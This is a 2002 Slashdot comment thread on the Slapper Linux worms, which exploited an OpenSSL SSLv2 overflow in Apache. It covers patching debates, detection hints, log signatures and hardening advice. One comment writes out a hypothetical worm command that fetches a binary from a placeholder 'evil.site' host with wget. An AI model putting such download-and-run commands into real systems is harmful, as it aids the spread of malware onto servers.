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Apache Software

New Linux Worm Found in the Wild 388

Posted by CmdrTaco
from the random-dune-reference-here dept.
randomErr writes "The worms, Slapper.B and Slapper.C, which exploits a known buffer overrun vulnerability in the Secure Sockets Layer 2.0 (SSLv2) handshake process has infected thousands of Web servers worldwide, according to Helsinki-based F-Secure Corp., a computer and network security company. "
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New Linux Worm Found in the Wild

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  • Finally... (Score:5, Funny)

    by TonyZahn (534930) on Wednesday September 25, 2002 @08:33AM (#4326454) Homepage
    ... we're starting to catch up with Microsoft in the vital worm-propagation field, where they've been unmatched for years. :-)

    Laugh, it's a joke

    • by dnoyeb (547705)
      You think this is tied to the popularity increas of Linux in the userbase? The webservers have always been around...

      Seems like the golves are coming off. Perhaps we need a sample of this worm to test its DNA and determine its origins ;)
      • Re:Bravo (Score:2, Insightful)

        by Jugalator (259273)
        You think this is tied to the popularity increas of Linux in the userbase?

        Yes, just like in the case with Windows.
    • by Anonymous Coward on Wednesday September 25, 2002 @09:04AM (#4326597)
      Code Red infected at least 400,000 Microsoft systems. I think it infected 40,000 in the first day. Nimda got something like 65,000 plus. Slapper has infected 7,000 to 11,000, depending upon who you listen to. Now take into consideration that Linux Apache systems host a significantly larger number of web sites than Windows systems do.

      Slapper is a minor event. I see a constant stream of Microsoft security alerts go through my mailbox, and you don't hear a peep out of these Microsoft apologists and cheerleaders until a serious Open Source vulnerability occurs once or twice a year.

      All complex software will have bugs. It seems to me that Open Source bugs get fixed quicker, and Open Source admins are more inclined to patch in a timely manner than Microsoft ones by at least one order of magnitude. What do you expect from Windows, though, when its target market is people who don't know how to use computers.
      • by danheskett (178529) <danheskett@CURIE ... minus physicist> on Wednesday September 25, 2002 @09:33AM (#4326747)
        What are you are talking about? You dont hear any MS people complaining about the constant updates, security problems, and bugs that target Windows?

        Check out microsoft.public.* on usenet. Just about every Windows admin with a clue is tired of MS's crappy security record.
      • by catfood (40112) on Wednesday September 25, 2002 @09:43AM (#4326821) Homepage

        More importantly, Open Source problems stay visible until they are fixed. There's no hiding behind STO, no stonewalling.

        Have you noticed how many pre-emptive security patches are made by Open Source developers? Where the announcements start with "someone pointed out this security flaw, and they were right, and we wanted to fix it before the exploits get created"? The "someone pointed out" part is a big deal. You can't get that with closed source vendorware, not proactively. As a result, security problems are frequently fixed long before they cause any problems at all.

  • by Lethyos (408045) on Wednesday September 25, 2002 @08:33AM (#4326460) Journal
    1. That most system admins out there are bright enough to keep their machines up to date with the latest patches.

    2. Whoever is writing these worms knows how much damage they're doing to open source. It would have been preferrable to inform the OpenSSL people first, wait a month, then release the worm.

    Of course, by the time you read this, the bug will have been patched. ;)
    • It would have been preferrable to inform the OpenSSL people first, wait a month, then release the worm.

      It would be preferrable to let the security at the bank to know that your about to commit armed robbery so they can stop you. Of course there is a difference between white and black hat hackers.
      • by Lethyos (408045)
        A bank robbery is a different type of intrusion. You cannot threaten a computer to give you access. An armed bank robbery is a failure of humans, not security systems. I'm sure all the cameras and locking mechanisms on doors and vaults at a bank work just fine in an armed robbery. The humans unlock them out of self-preservation and the mechanisms do exactly what they are requested.

        Exploiting a vulnerability like this is similar to walking down the ally behind the bank and finding an unlocked door that takes you straight into the vault. Some people (other politics aside such as "who would want to help such a stupid bank!?") would inform the bank, hoping to increase it's security. Typically in open source, when we find unlocked doors, we tell the maintainers as soon as possible. It's peer review.

        I am not suggesting we do not release exploits though. Worms like this are a good practice run (and a great way of informing the sysadmins they need updates). *shrug*
      • by aphor (99965)

        Let me explain the process. You tell me if the analogy fits.

        robber:

        You have a serious bug that can compromise a lot of running systems.

        OpenSSL:

        Oh really?

        robber:

        I'm serious. Here's how to exploit it, and here's a patch. I demand you fix it.

        OpenSSL:

        Let me have a look at that... We promise we'll fix it.

        robber:

        Well, I found it on accident, but it only took me a few hours to write the exploit and the patch. It shouldn't take more than a day or so to get the fix out.

        OpenSSL:

        We will update our code and send out a patch notice, but it's up to the users to upgrade on their own...

        robber:

        To give your notice some teeth, I'm going to post the worm to Usenet in 30 days if nobody beats me to it.
    • Re:A few hopes... (Score:5, Informative)

      by larien (5608) on Wednesday September 25, 2002 @08:39AM (#4326485) Homepage Journal
      The patches have been out for over a month, I'm pretty sure of that. I downloaded the patches as soon as Debian had the new ones online.

      So, in short, it's an old bug, it's been patched, and the only ones getting hit are people who haven't patched their openssl libraries.

      • Re:A few hopes... (Score:4, Insightful)

        by jht (5006) on Wednesday September 25, 2002 @08:57AM (#4326563) Homepage Journal
        Problem is, it's a similar scenario to how Windows admins get burnt - it's just that there's usually a shorter interval between patch-exploit in the Windows admin world.

        Any admin of either platform who uses best practices should be safe from most exploits. Shutdown unused services (and block the ports at your firewall if feasible), keep current on security patches, stay informed, and things should be manageable.

        The catch is that just like there are clueless Windows admins, there are clueless Linux admins. And the clueless admins (for either platform) make their platform as a whole look bad.
        • Re:A few hopes... (Score:2, Insightful)

          by pythorlh (236755)
          The main difference that Microsoft encourages the development of clueless admins. The MCxx certifications are geared to producing admins that can pass a test, not admins who can effectively administrate. Yes, there exist lame Linux certs, too, and yes, we do have clueless Linux admins. But the whole community of Linux is based on educating the user, admin or not, about how to properly configure the system. Thus, a vastly smaller percentage of Linux admins end up clueless, and the ones that do really deserve what they get. MCxx admins often have the mistaken impression that they already know enough to do their job. Linux admins generally know what they don't know, and know who to go to to ask.
        • Yeah, the admins should have patched this up. Wanna know the funniest? Check this article [securityfocus.com] where a security writer got hit with Slapper. It shows even those who should know better sometimes get hit.
    • The bug was patched 2 months ago so I guess that is the case :>
    • Re:A few hopes... (Score:2, Interesting)

      by Anonymous Coward
      Whoever is writing these worms knows how much damage they're doing to open source.

      Most likely they don't give a shit or didn't even consider it. Not everybody is politically motivated. Some people actually see computers as nothing more than a tool, and don't really care if we live in a communist "free" world or a market-driven capitalist one, as long as their computer helps them do what they want to do. It's just a hunk of silicon, steel and plastic - it has no soul, no social conscience and its configuration is no reflection on themselves.

      What a revolutionary idea!
      Having said that remember that people writing worms are not likely to care much about the effect of their actions, whether it's denying you connectivity or canonizing Bill Gates.
      • Whoever is writing these worms knows how much damage they're doing to open source.
        Maybe these worms come from Microsoft themselves ?
        • Maybe these worms come from Microsoft themselves ?
          Maybe. And maybe Linus and RMS or the Apache foundation wrote Code Red. But why bother speculating?
    • by Elphin (7066) on Wednesday September 25, 2002 @08:48AM (#4326515) Homepage
      > It would have been preferrable to inform
      > the OpenSSL people first, wait a month,
      > then release the worm.

      Dear OpenSSL,

      We are about to release an "internet worm" which will wreak havoc on the worldwide "internet" if you don't pay a ransom of... (place little finger on lower lip) ...ONE BILLION DOLLARS!

      Kind regards,

      Dr Evil

      Seriously though, I think I'm correct in saying that slapper exploits a flaw in OpenSSL patched well before the first slapper outbreak.

      • Re:A few hopes... (Score:2, Insightful)

        by BESTouff (531293)
        Dear OpenSSL,

        We are about to release an "internet worm" which will wreak havoc on the worldwide "internet" if you don't pay a ransom of... (place little finger on lower lip) ...ONE BILLION DOLLARS!

        Kind regards,

        Dr Evil Don't forget to half-close your eyes

    • Re:A few hopes... (Score:3, Insightful)

      by AndrewHowe (60826)
      If Open Source claims that it is somehow better at dealing with this sort of thing, and it turns out that it isn't, then it deserves the "damage" you speak of. Why should Open Source be immune from criticism? Live by the sword, die by the sword.
    • The exploit is well known and people are aware of it. It's the same thing that Slapper.A and Slapper.B used.

      Also, while the article makes much of "thousands" of servers compromised, it ignores the fact that the number of compromised servers is (at least last I saw) in the five digits, and pretty much leveled off to very few new infections.

      Similar Windows worms (like Code Red) infected hundreds of thousands of machines, and took much longer to level off. Yes, there are still a lot of computers out there, but UNIX admins are a lot more on top of their machines than Win admins, by these numbers.
  • by motorsabbath (243336) on Wednesday September 25, 2002 @08:36AM (#4326474) Homepage
    http://www.chkrootkit.org/

    version 0.37 has been updated to find the slapper - JB
    • being a good samaritan. no www prefix so browsers won't auto link it, no http prefix for same reason. please do not convert to hyperlink. digitalsushi.com/chkrootkit.tar.gz will leave up for 24 hours, or when i just cant take the abuse anymore.
      • Re:mirror (Score:2, Informative)

        by gimpboy (34912)
        here is the list of mirrors from the main page:


        here is my mirror of the source:
        http://sage.che.pitt.edu/~harrold/tmp/chr ootkit.ta r.gz
      • Interesting fun fact- almost 45% of you grabbing my mirror are using Windows :D (pssst. you can download from the lunix now, you don't have to download it with the Blue E and then WSFTP it up)
        • NOTE TO SELF: actually run vulnerability checker programs before posting mirrors to them on a public link to your own web server
    • FYI
      The most common MD5 sig for the 0.37 tarball seems to be: b0feebea67655daa440da92099dd5187

      But for some reason I also see a different MD5 for what is supposed to also be 0.37:
      edf50a9c8c6bf09b0a9147f2e6168826
      BUT that is actually the signature from 0.35

      So the bottom line is, try not to panic. Some mirrors are just a little out of sync. I am still a little nervous running this thing as root since I haven't seen anyone report that it's not a trojan itself. I guess some code review is in order. :)
    • Since chkrootkit normally uses lots of stuff that usually lives in /bin (strings, ps, ls, find, etc), make extra sure that you use the '-p <directory>' flag when you run it. That tells chkrootkit to look for the binaries it needs in directory instead of wherever they are found in your path. Before you can do this, however, you need to (from a fresh, known-to-be-clean install) either copy all the needed binaries to a CD-R or to a partition re-mounted as read-only. A real paranoid would re-compile static versions of those utils and then use those. YMMV.

      It does very little good to check for a rootkit when all the good GNU stuff in /bin has been trojaned...

      -B

    • libsafe ! (Score:5, Informative)

      by mccrew (62494) on Wednesday September 25, 2002 @12:09PM (#4327970)
      Every time I hear about anohter buffer overflow, I scratch my head and ask, "Why doesn't anybody use libsafe [avayalabs.com]? This is a library which, once installed, protects all processes, regardless whether they have been patched or not.

      It transparently replaces the libc functions that are the usual targets of stack smashing attacks, and checks whether the stack frame has been overrun. If the stack has been smashed, the process gets terminated forcefully, and root (or other designated contact) gets an e-mail with all the details.

      This has been out for several years now, and I am amazed that no major distribution includes this in a standard server install.

      -Steve

  • Linux? (Score:2, Funny)

    by e8johan (605347)
    I'd say that this looks more like an Apache worm than a Linux worm. It does not seem too bad though, "Get your Apache systems patched and update your antivirus software and you should be fine." (from the Slapper.C article).

    This shows that Linux+Apache is so widely accepted that it is a legitimate virus target. Enjoy it!
    • No, Apache is as much to blame here as Linux.

      This is an apache-modssl-openssl-0.9.6.d-or-earlier-linux-x86 worm since it fails to infect any other combination (AFAIK).
      • Re:Linux? (Score:3, Insightful)

        by petard (117521)
        No. This is purely an openssl problem. It was patched in July! The "blame" goes with those who don't apply security patches marked as critical. The worm could as easily have been written to attack users of unpatched installations of stunnel-win32, but that wouldn't be nearly as satisfying for a worm-writer as something that can attack apache on linux.
        • Yes, the blame goes to openssl, nobody denies that. But the worm is not an openssl-worm since it does not work (say) on NetBSD systems.
  • by Anonymous Coward
    Well, this is just another example of the slow reaction of closed-source vendors to threats like...

    Oh, what?

    Open Source isn't perfect? Everything on Slashdot isn't true?

    Maybe I really can leave my Mom's basement, then.
    • Well, this is just another example of the slow reaction of closed-source vendors to threats like...

      Not quite a complete inverse, since the OpenSSL patch was out very quickly (at least from the OpenSSL people...dunno if all the distros have okayed it, though I know RH (the only one I checked) did some time ago).
  • by bittmann (118697) on Wednesday September 25, 2002 @08:42AM (#4326496) Journal
    1) Don't enable services and features you don't need (or in MS sysadmin speak--DISABLE all of the services and features you don't need that have "helpfully" been activated in the base install); and

    2) Keep up to date on your patch levels.

    You don't have to be bleeding-edge on patches, but when a security vulnerability with malicious code in the wild has been detected, it's time to *DO* something about it!

    Really, I wonder how many of these infected websites were actually USING SSL, as opposed to having that port hot but unused...
    • by petard (117521) on Wednesday September 25, 2002 @09:08AM (#4326620) Homepage

      I would add the following:

      3) Don't install a development environment (e.g. gcc, which is required for this worm to propogate) on a publically exposed web server!

      Obviously, this won't work for people with only one box who want to run their personal web server off of it as well as do their dev work there, but for *real* servers this is a good practice. People who must have compilers on their web server are probably not using SSL, as you stated :-).

      If you must use a compiler on your web server, FFS run the publically accessible service in a chroot jail [tldp.org]!

      • by slamb (119285) on Wednesday September 25, 2002 @10:56AM (#4327380) Homepage
        3) Don't install a development environment (e.g. gcc, which is required for this worm to propogate) on a publically exposed web server!

        Obviously, this won't work for people with only one box who want to run their personal web server off of it as well as do their dev work there, but for *real* servers this is a good practice. People who must have compilers on their web server are probably not using SSL, as you stated :-).

        I keep seeing this comment, and every time I think how stupid it is. The compiler is not the security flaw. Given the number of comments like this, I fully expect the next version of this worm to have a "|| wget http://evil.site/worm-`uname -s`-`uname -m`" in place, and evil.site to have statically linked binaries. Then people will be saying "You don't need wget on a production webserver!" or some stupid shit like that. And it will move on to something else. They're already running code on your computer. You're already screwed.

        (Isn't the first piece of the exploit written in assembler, as is typical for buffer exploits? Then they have to have targeted your platform specifically anyway. I just don't see why the compiler stage is necessary at all. They can just transfer the larger chunk of worm executable in the same way they transferred the source code.)

        The real solution is to secure your system in the first place: disable services you aren't using. Patch ones you are. Given the month between the patch and the exploit, anyone following this practice will be unaffected.

        • by petard (117521) on Wednesday September 25, 2002 @11:16AM (#4327517) Homepage

          It's not stupid at all. You are correct in stating that the compiler is not the security flaw. However, if the compiler were not there, this is the 4th worm in the past few months that you wouldn't have been vulnerable to. Simply because they *could* find other means of implementing the worm doesn't mean that you should make this one easy. There are 2 goals here:

          1. Prevent compromise. This is done by disabling unnecessary services and keeping your patch levels current, among other things.
          2. Reduce the impact of compromises that do occur. One way to do this is, much as you disable unnecessary services, only keep the software needed for your application on the box.

          As "stupid" as it may seem from an ivory tower perspective, in practice it helps. It's not a first line of defense, but it helps.

    • 1) Don't enable services and features you don't need (or in MS sysadmin speak--DISABLE all of the services and features you don't need that have " helpfully" been activated in the base install);

      Or in Solaris sysadmin speak, or in redhat sysadmin speak. For instance, solaris tends to run NFS stuffs by default. And Redhat (probably a few other distro's too), tend to have a dozen or so unused services running.
    • 2) Keep up to date on your patch levels.

      Thank you, debian, for apt. Here's how I keep up to date with patches:

      apt-get update && apt-get -u upgrade

      Apt is such a great idea. It's a better idea than RHN or whatever it is that mandrake is doing. Why? Because there are a ton of debian developers, each of them only having to watch a relatively small number of packages And when they keep up with patches, I do too, for almost no work.

      This is the beauty of apt - it distributes patch management among a lot of people so that the load of any of them is relatively small. But then it allows all of us to leverage that work. It's distributed AND centralized all in one.

      I'm not trying to start an distro war here. I'm just *SOOO* thankful for apt and debian. I'm trying to express gratitude. If it came out as flamebait, it was not intended.

    • For the newbies, remember that Mac OS X is a UNIX family member, too, and comes with Apache as well. The Mac world is used to getting only one or two attacks over a year that it could be easy to skip over this one.

      Thankfully, Apple thought about their security model, so Mac OS X ships with Apache (known in its System Preferences as Personal Web Sharing) and many other common access features switched off by default.

      Switching Personal Web Sharing on can make your Mac just as vulnerable to some, if not all of the effects of this worm (if this or any other worm contains x86-specific code for its payload, little to no effect may occur).

      Apple's already addressed these vunerabilities in their recent Security Updates. You can install them from the Software Update system preference or download them from Apple.

    • That 1) is *extremely* important. If you're running RedHat you can use "chkconfig --list" to see what network-based services are running (all services actually).

      For everything you don't know what is, don't hesitade to do a "chkconfig --del [service]". It's not realy deleted, just disabled.

      Also, do a "rpm -qa" and "rpm -e [package]" for everything you don't know/need. It's better to have to spend some time fixing a problem that ypu caused yourself than fixing something that was done by an intruder.

  • The Worm (Score:4, Insightful)

    by CTRamsden (461135) on Wednesday September 25, 2002 @08:43AM (#4326500)
    I find it terribly amusing how for years the open-source community has used the larger number of holes found in Windows systems as one of their arguments against it. Yet now when the open-source community is also plagued with the same thing the comments tend to be along the line of 'Windows still sux.' and 'Do you know how much you're hurting the open-source movement? Please stop.'

    Seems to me like older anti-MS comments are coming around and biting people in the ass.
    • Yes, two or three minor worms in an optional component of an open source server are certainly as big a deal as the literally thousands of virii/security holes/etc in the fundamental core of Windows. The several thousand servers that have been infected with Slapper.b/c certainly compare in scope to the hundreds of thousands, if not millions, affected by Code Red/Nimda/I Love You/etc.
    • Re:The Worm (Score:5, Insightful)

      by chrysrobyn (106763) on Wednesday September 25, 2002 @09:05AM (#4326599)

      I find it terribly amusing how for years the open-source community has used the larger number of holes found in Windows systems as one of their arguments against it. Yet now when the open-source community is also plagued with the same thing the comments tend to be along the line of 'Windows still sux.' and 'Do you know how much you're hurting the open-source movement? Please stop.'

      I am the administrator for two Linux servers, a Slackware 7.0 box and a Debian Woody box. I'm scared that I'll get rooted again, but do you know what I'm thinking anyway? "Bring it on." Let these worms propagate, let some publicity get out, and let the patches come. They will come, just as they always have. I'll be a wget %1;upgradepkg %1 or apt-get update;apt-get upgrade away from being back up to speed.

      The open-source community, contrary to your assertion, has for years said two things 1) Lazy admins risk getting hacked and 2) Open source patches flow more freely than closed source ones. I don't think the number of holes against NT 4.0 (for example) is criticised, but rather the length of time between exploit and patch-- the criticism is of the number of documented, unpatched holes. If you show me a list of documented, unpatched holes, I'll show you a mailing list / IRC channel / news group that just found a list of things to do for the afternoon. Inexperienced teenagers (a large subset of all teenagers) and newbies are unable to refute your statement that Linux is as bad as Windows and resort to childish retorts and pleas for silence.

      Bring it on, hackers, help us audit the code. Win prestige for you, win a better OS for us.

      • Re:The Worm (Score:3, Interesting)

        by kiwimate (458274)
        The open-source community, contrary to your assertion, has for years said two things 1) Lazy admins risk getting hacked and 2) Open source patches flow more freely than closed source ones.

        The Slashdot community, on the other hand, has for years appended a third comment: we're superior, we're Linux buffs, we're the best, and we apply patches.

        Maybe the Slashdot community does. But let's face it -- in the face of this smug and elitist attitude comes the fact that thousands of Linux servers are being compromised because their administrators don't apply patches in a timely fashion. Remember, too, that when the Nimda et. al. worms hit, the Slashdot discussions included many regular readers who are also Windows administrators calmly pointing out that they had had no difficulties as they were patched long ago. Interesting, too, to note the (huge generalisation) often calm and mature reaction versus the yelling and screaming and chest-beating reaction of the "see-we-really-are-better-than-you-nyah-nyah-nyah" crowd (/huge generalisation).

        If you show me a list of documented, unpatched holes, I'll show you a mailing list / IRC channel / news group that just found a list of things to do for the afternoon.

        Very valid point. So let me ask you (plural you here) -- when was the last time you spent an afternoon coding, testing, reviewing, and QCing a patch? Maybe you're one of the admirable group who actually does code patches in your spare time. But, more likely, I suspect, is that the vast majority of the readers of this message never have and never will submit a patch.

        Inexperienced teenagers (a large subset of all teenagers) and newbies are unable to refute your statement that Linux is as bad as Windows

        I'm sorry, but I couldn't let this one go. The original poster didn't make such a statement. Not even such an inference. The post, instead, merely pointed out the hypocrisy demonstrated by the attitudes described.

        And it was correct.
        • My statement:Inexperienced teenagers (a large subset of all teenagers) and newbies are unable to refute your statement that Linux is as bad as Windows

          Kiwimate:I'm sorry, but I couldn't let this one go. The original poster didn't make such a statement. Not even such an inference. The post, instead, merely pointed out the hypocrisy demonstrated by the attitudes described.

          And it was correct.

          If I have misinterpreted CTRamsden's original intent of the statement that, [when faced with vulnerabilities, the open-source community responded with] "Windows still sux..." [paraphrasing, hopefully not too liberally], please forgive me, and I will ask for kiwimate to accept my thanks for pointing out a misinterpretation.

          I have seen too many people equate the vocal non-coding, quick to criticise Microsoft Slashdot subgroup as characteristic of the entire open source movement. I think it's very important to remember and recognize that those people are out there -- but equally important to understand that others are out there who accept criticism as constructive.

      • Re:The Worm (Score:4, Informative)

        by ajs (35943) <ajs@@@ajs...com> on Wednesday September 25, 2002 @09:45AM (#4326835) Homepage Journal
        Also, come the 2.6 kernel, and pluggable security modules, installing stack protectors and tiered security models will be more commonplace and a lot of the stupid holes that have allowed these attacks will simply go away.

        One thing that would fix a whole lot of problems is for a security model to be installed that allowed root to delegate low-port and raw-protocol access to non-root accounts.

        Granted these particular worms would not have cared, but there have been many remote root exploits that happened only because a daemon needed to be root to create a low port or perform raw protocol manipulation.
    • Questions: (Score:2, Interesting)

      by Black Parrot (19622)


      > I find it terribly amusing how for years the open-source community has used the larger number of holes found in Windows systems as one of their arguments against it. Yet now when the open-source community is also plagued with the same thing the comments tend to be along the line of 'Windows still sux.'...

      1. How many Apache exploits per IIS exploit?
      2. What are the average turnaround times for security updates for Apache and IIS?
      3. How much other stuff gets broken by an Apache update and a IIS update?
    • 'Do you know how much you're hurting the open-source movement? Please stop.'

      I don't think I've *ever* heard anyone say that - certainly not at the local LUG meetings or amongst other fellow users in the area. Maybe it's a Michigan thing, but I can not ever recall hearing or reading comments like that.
    • What I find terribly amusing is your lack of knowledge. Patch is more than one month old.

      This virus is not hurting Linux comunity. It just shows that there's too few holes for virus writers to be original. Last 3 viruses where using the same one hole. That's more promoting than demoting.

      Well, for bad admins. I fell it's ok if they get infected. And for users, they don't have web server, but if they have, they should click Update icon sometimes.
    • I find it terribly amusing how for years the open-source community has used the larger number of holes found in Windows systems as one of their arguments against it. Yet now when the open-source community is also plagued with the same thing the comments tend to be along the line of 'Windows still sux.' and 'Do you know how much you're hurting the open-source movement? Please stop.' Seems to me like older anti-MS comments are coming around and biting people in the ass.

      Hardly. The inability to properly admin a system is biting them in the ass. The comments to Microsoft sucking when it comes to security still apply. When someone says that Linux is more secure than Windows, that is not saying it is perfect. Nobody in their right mind would say that any OS is totally secure. The difference is, it is a Linux community. People who find exploits should alert the community before releasing the information in the wild. The same applies to Windows, Microsoft should be alerted to the problem well before everyone else is. The difference is, the Open Source community will quickly patch it, Microsoft will do whatever they want to do.

      There is nothing wrong with yelling at people about keeping their systems up to date. It is just bad practice to not keep up with patches. With Open Source, you can do that - with Windows, you can only do that if Microsoft provides you with patches. The OSS community has absolutely no say in how MS decides to handle vulnerabilities, but we do have a voice in our own community.

      And if you think a worm or two means that now Linux is catching up to MS in the number of vulnerabilities, you are living in a dream world. Plagued? Please. At least the OSS community isn't delusional and says "there are no bugs".

  • According to researchers at F-Secure, the Slapper.B worm variant is able to retrieve its source code from a Web page after the worm has been removed from infected servers. The worm uses a common free software utility, wget, to retrieve its source code from an infected Web page in the home.ro domain.

    Administrators of the domain, which is located in Romania, have been notified and the infected page has been deleted from the site, according to F-Secure.

    They should have replaced the code for the worm with code that pops up a window that says "Patch your server, you halfwit!"

  • CERT Advisory (Score:5, Informative)

    by Anonymous Coward on Wednesday September 25, 2002 @08:51AM (#4326531)
  • by Anonymous Coward on Wednesday September 25, 2002 @08:54AM (#4326550)
    What should I look for in my apache logs to see if Im being "hit" by it? Anyone have an example?

    your friendly neighborhood AC
    • Well I'm not entirely sure but I found that in my error_log a couple of bad hits from other Apache Servers. I found the Apache Test page on these servers which I suspect is a bit of a giveaway that perhaps these are not active servers.
      Anyway I could be completely wrong, but since these hits were from Web servers I kind of suspect that these servers have not been patched.... God I hope that the log entries below don't indicate that I've been hit and damaged
      Anyway the hits looked like this:
      [Mon Sep 23 08:16:53 2002] [error] [client xx.xx.xx.xx] client sent HTTP/1.1 req
      uest without hostname (see RFC2616 section 14.23): /
      [Mon Sep 23 08:16:53 2002] [error] [client xx.xx.xx.xx] client sent HTTP/1.1 req
      uest without hostname (see RFC2616 section 14.23): /
      [Mon Sep 23 08:16:53 2002] [error] [client xx.xx.xx.xx] client sent HTTP/1.1 req
      uest without hostname (see RFC2616 section 14.23): /
      [Mon Sep 23 08:17:04 2002] [error] mod_ssl: SSL handshake failed (server www.example.com:443, client xx.xx.xx.xx) (OpenSSL library error follows)
      [Mon Sep 23 08:17:04 2002] [error] OpenSSL: error:1406B458:lib(20):func(107):rea
      son(1112)
      [ Mon Sep 23 08:17:18 2002] [error] mod_ssl: SSL handshake failed (server www.example.com:443, client xx.xx.xx.xx) (OpenSSL library error follows)
      [Mon Sep 23 08:17:18 2002] [error] OpenSSL: error:1406B458:lib(20):func(107):rea
      son(1112)
      [ Mon Sep 23 08:17:18 2002] [error] mod_ssl: SSL handshake failed (server www.example.com:443, client xx.xx.xx.xx) (OpenSSL library error follows)
      [Mon Sep 23 08:17:18 2002] [error] OpenSSL: error:1406B458:lib(20):func(107):rea
      son(1112)
    • Posted earlier in the thread:

      to detect the worm, simply do a ls -al in /tmp
      you will find .bugtraq.c file etc etc
    • by KMitchell (223623) on Wednesday September 25, 2002 @10:43AM (#4327288)
      You'll get some additional stuff in your access log and potentially error log but the telltale sign that (on a patched system) someone is pinging you for the exploit is something like this in your ssl_error_log:

      [Sun Sep 22 12:45:51 2002] [error] mod_ssl: SSL handshake failed (server YOURSERVER:443, client aaa.bbb.ccc.ddd) (OpenSSL library error follows)
      [Sun Sep 22 12:45:51 2002] [error] OpenSSL: error:1406B458:SSL routines:GET_CLIENT_MASTER_KEY:key arg too long

  • by tshoppa (513863) on Wednesday September 25, 2002 @08:58AM (#4326568)
    The problem is that many (most? all?) the big-name distros have Apache built with mod_ssl on them. Even though I would guess that only a tiny percent of all web servers need SSL. (Admittedly that tiny percent is very important, as no money transactions should be going on without security...)

    IMHO if you need SSL on a webserver, you should be forced to go through the download + build + cert process yourself.

  • How to test yourself (Score:5, Informative)

    by pbur (88030) on Wednesday September 25, 2002 @08:59AM (#4326571)
    If you were like me and wondered if after the OpenSSL upgrade that you actually patched everything right, you can compile and run this program to find out:

    http://cert.uni-stuttgart.de/advisories/openssl- ss lv2-master/openssl-sslv2-master.c

    It will connect to your HTTPS server and check it. Unfortunatly, it won't connect to SSH. It helped me make sure I was patched up at least for apache.

    And I have never quite understood why the advisory says to recompile your apps as well. If they are using the Shared Library, where the problem actually exists, then they get the upgrade by default. Now, if you had some static compiles, then sure.

    Pbur
    • Ok, /. put an extra space in the URL after "openssl-ss". I will make a link URL: The Link [uni-stuttgart.de]
    • be sure to check your sendmail as well if you're using TLS,possibly stunnel and any other ssl enabled server you run .. (well it does not check ssh). I had patched apache immediately but this tool made me realise I had forgotten about sendmail :)
  • Usualy it takes at least half of hour to release patch when hole is discovered.

    This time patch was month or so too fast for Slapper.B and C. Does this mean that Open Source gets better and better?

    p.s. I hate lame unintuitive virus writers without imagination
  • comparison (Score:4, Insightful)

    by Tom (822) on Wednesday September 25, 2002 @09:07AM (#4326616) Homepage Journal
    To all those who will no doubt post "see, CodeRed can happen to Linux, too" - here is some enlightenment:

    There are currently an estimated 10,000 hosts infected with Slapper (any variant).

    According to DShield's CodeRed history page [dshield.org], around 25,000 windos hosts are still estimated as CodeRed infected, one year after the event.
    According to news.com [com.com], at the peak we had over 350,000 infected machines.

    10,000 is about 2% of 350,000. No, Slapper is in not even comparable to CodeRed when it comes to spread, neither speed nor coverage.

    It does, however, proof two things:

    a) The Linux world is susceptible to the same generic diseases
    b) For various reasons (more variety, better sysadmins, better security in general), it coped much better with an actual outbreak.

    • Re:comparison (Score:3, Informative)

      by larien (5608)
      It doesn't prove that much as there may be fewer Apache-SSL sites on linux than there are IIS sites. Code Red hit all IIS boxes, Slapper only hits Apache on linux, and even then, it requires the presence of gcc and some other conditions to be met before it works.

      That said, I would like to see a more in-depth analysis of the proportions of machines which have been hit and are infected. Also, we should bear in mind that the impact is much less on linux as Apache normally runs as a non-root user while IIS almost always runs as a system/admin user.

      • It doesn't prove that much as there may be fewer Apache-SSL sites on linux than there are IIS sites. Code Red hit all IIS boxes, Slapper only hits Apache on linux, and even then, it requires the presence of gcc and some other conditions to be met before it works.

        You say that like it's a bad thing.

        But doesn't that speak to the resilience of the Open Source approach? The fact that you can run an Apache site without enabling or even installing SSL is a strength. AFAIK (and ICBW) you can't do that with IIS.

    • Yeah, there's a reason why Windows was more affected by CodeRed than Linux was infected by Slapper

      It's called "installed user base".

      • Re:Reasons (Score:3, Informative)

        by Tom (822)
        No, you are actually wrong on that. If you compare the number of IIS servers (they're all windos) and the number of Apache/Linux servers, then Apache/Linux is up front.
        Even if you double the number to account for people running IIS on their home-desktop, you get nowhere near the "infected-to-unaffected" ratio.

        Remember that all the "95% market share" babble is about desktop systems, while both Slapper and CodeRed are targetting server systems, where windos is one among many, and by far not the leader.
  • Old news (Score:2, Informative)

    by MiniChaz (163137)
    Lets just hope Taco isn't doing too much sys admin work these days because this is really old news. Slapper was spotted over a week ago and the news appeared on LWN at the URL below.

    http://www.lwn.net/Articles/10026/

    Thanks.
    • My first log entry on my home box (DSL) showing this came up Sep 12... So almost 2 weeks ago.

      The entry is as follows:
      [Thu Sep 12 17:40:09 2002] [error] [client 211.75.133.54] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /

      I've had a total of about 45 hits in the last 2 weeks, not like nimda at all in that regard (had to nuke my error logs like twice a week instead of once a month).

      BWP
      (BTW, I'm running FreeBSD and no SSL so it's not that big a deal for me.)
  • "Wget"ing its source (Score:5, Interesting)

    by N Monkey (313423) on Wednesday September 25, 2002 @09:28AM (#4326709)
    From the article:
    According to researchers at F-Secure, the Slapper.B worm variant is able to retrieve its source code from a Web page after the worm has been removed from infected servers. The worm uses a common free software utility, wget, to retrieve its source code from an infected Web page in the home.ro domain.

    Administrators of the domain, which is located in Romania, have been notified and the infected page has been deleted from the site, according to F-Secure.

    Rather than simply having deleted the page, I wonder if it would have possible to replace this source code with something else that acted as an "antibody"?

    • For maximum benefit, the code should be something like:

      if-down eth0

  • by abhikhurana (325468) on Wednesday September 25, 2002 @09:31AM (#4326734)
    I think that linux provides the sys admins with a false sense of security. Most sysadmins think that because running Linux, they can't be infected with any viruses and worms. The result of this is that many of hese adminstarators never bother to check about new threats, because they haven't seen anything like this for a while. Normally linux adminstrators are more tech savy than Windows adminstrators but as linx GUI improves, one will see a prliferation of not so tech savy adminstrators in the Linux market as well.So be prepared for increasing amounts of damage which such worms can cause.
    On the other hand, the adminstrators of Windows machines, because they are facing a new worm every second day, try to stay uptodate with the latest news and patches. Most of them have aautomatic update wizards running on their machines which download new patches instantly.
    Infact I would prefer such an instant update wizard for Linux as well, especially for the Linux running security critical applications, so that even if the system adminstrator is too lazy to check a news site, he will still come to know abot the threat.
    And because it will be running on linux, it will do what its supposed to do, not "God knows What and Gates knows what" as is the case with windows update wizard.
